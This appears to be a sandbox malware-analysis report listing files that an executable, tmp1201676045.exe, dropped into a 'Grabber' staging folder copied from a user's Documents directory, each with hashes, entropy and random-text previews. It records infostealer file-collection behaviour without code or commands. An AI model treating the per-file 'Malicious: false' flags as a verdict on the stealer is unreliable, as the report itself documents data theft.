C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\ZGGKNSUKOP.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\DUUDTUBZFW.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\EOWRVPQCCS.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\EWZCVGNOWT.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\GIGIYTFFYT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\GLTYDMDUST.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\DUUDTUBZFW.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\EOWRVPQCCS.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
